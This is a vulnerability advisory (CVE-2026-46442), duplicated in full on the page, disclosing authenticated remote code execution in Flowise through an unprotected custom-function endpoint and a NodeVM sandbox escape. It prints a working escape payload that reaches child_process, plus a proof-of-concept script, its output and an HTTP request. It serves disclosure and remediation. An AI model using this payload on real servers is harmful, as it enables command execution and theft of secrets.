← Back to CVE List
CVE-2026-46442NVD
Vulnerability Summary
### Summary
`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.
When `E2B_APIKEY` is not configured β the common deployment case β Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.
The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.
### Details
Two distinct security boundaries are violated.
**1. Missing route-level authorization**
`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:
```ts
router.post('/', nodesRouter.executeCustomFunction)
```
Other sensitive routes in the same codebase use explicit permission gates:
```ts
// packages/server/src/routes/chatflows/index.ts
router.post(
'/',
checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
chatflowsController.saveChatflow
)
```
Global `/api/v1` authentication still applies, so this is not unauthenticated β but any valid session or API key reaches the endpoint without further restriction.
**2. NodeVM sandbox escape**
The endpoint forwards `body.javascriptFunction` through the following chain:
```
POST /api/v1/node-custom-function
β packages/server/src/controllers/nodes/index.ts
β packages/server/src/utils/executeCustomNodeFunction.ts
β packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
executeJavaScriptCode(javascriptFunction, sandbox)
β packages/components/src/utils.ts
if !process.env.E2B_APIKEY β NodeVM fallback
β [SINK] host process / child_process
```
`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:
```ts
const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY
```
Flowise explicitly frames this as a sandboxed execution path β the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.
These controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:
```js
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
```
The NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.
### PoC
**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):
```js
// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');
delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve(
'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));
const attackCode = `
async function f() {
const error = new Error();
error.name = Object.create(null);
return error.stack;
}
return await f().catch(e => {
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
});
`;
(async () => {
const node = new CustomFunction();
const result = await node.init(
{ inputs: { javascriptFunction: attackCode } },
'',
{ appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
);
console.log('[RCE OUTPUT]', result);
})();
```
Confirmed output:
```
[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...
```
**HTTP trigger** (requires a valid API key or session):
```http
POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json
{
"javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}
```
### Impact
Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.
The NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.
**Recommended remediation:**
1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.
2. Fail closed if `E2B_APIKEY` is absent β do not silently downgrade to NodeVM for untrusted code execution.
3. Restrict this endpoint from generic API key access.
`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.
When `E2B_APIKEY` is not configured β the common deployment case β Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.
The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.
### Details
Two distinct security boundaries are violated.
**1. Missing route-level authorization**
`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:
```ts
router.post('/', nodesRouter.executeCustomFunction)
```
Other sensitive routes in the same codebase use explicit permission gates:
```ts
// packages/server/src/routes/chatflows/index.ts
router.post(
'/',
checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
chatflowsController.saveChatflow
)
```
Global `/api/v1` authentication still applies, so this is not unauthenticated β but any valid session or API key reaches the endpoint without further restriction.
**2. NodeVM sandbox escape**
The endpoint forwards `body.javascriptFunction` through the following chain:
```
POST /api/v1/node-custom-function
β packages/server/src/controllers/nodes/index.ts
β packages/server/src/utils/executeCustomNodeFunction.ts
β packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
executeJavaScriptCode(javascriptFunction, sandbox)
β packages/components/src/utils.ts
if !process.env.E2B_APIKEY β NodeVM fallback
β [SINK] host process / child_process
```
`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:
```ts
const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY
```
Flowise explicitly frames this as a sandboxed execution path β the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.
These controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:
```js
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
```
The NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.
### PoC
**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):
```js
// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');
delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve(
'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));
const attackCode = `
async function f() {
const error = new Error();
error.name = Object.create(null);
return error.stack;
}
return await f().catch(e => {
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
});
`;
(async () => {
const node = new CustomFunction();
const result = await node.init(
{ inputs: { javascriptFunction: attackCode } },
'',
{ appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
);
console.log('[RCE OUTPUT]', result);
})();
```
Confirmed output:
```
[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...
```
**HTTP trigger** (requires a valid API key or session):
```http
POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json
{
"javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}
```
### Impact
Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.
The NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.
**Recommended remediation:**
1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.
2. Fail closed if `E2B_APIKEY` is absent β do not silently downgrade to NodeVM for untrusted code execution.
3. Restrict this endpoint from generic API key access.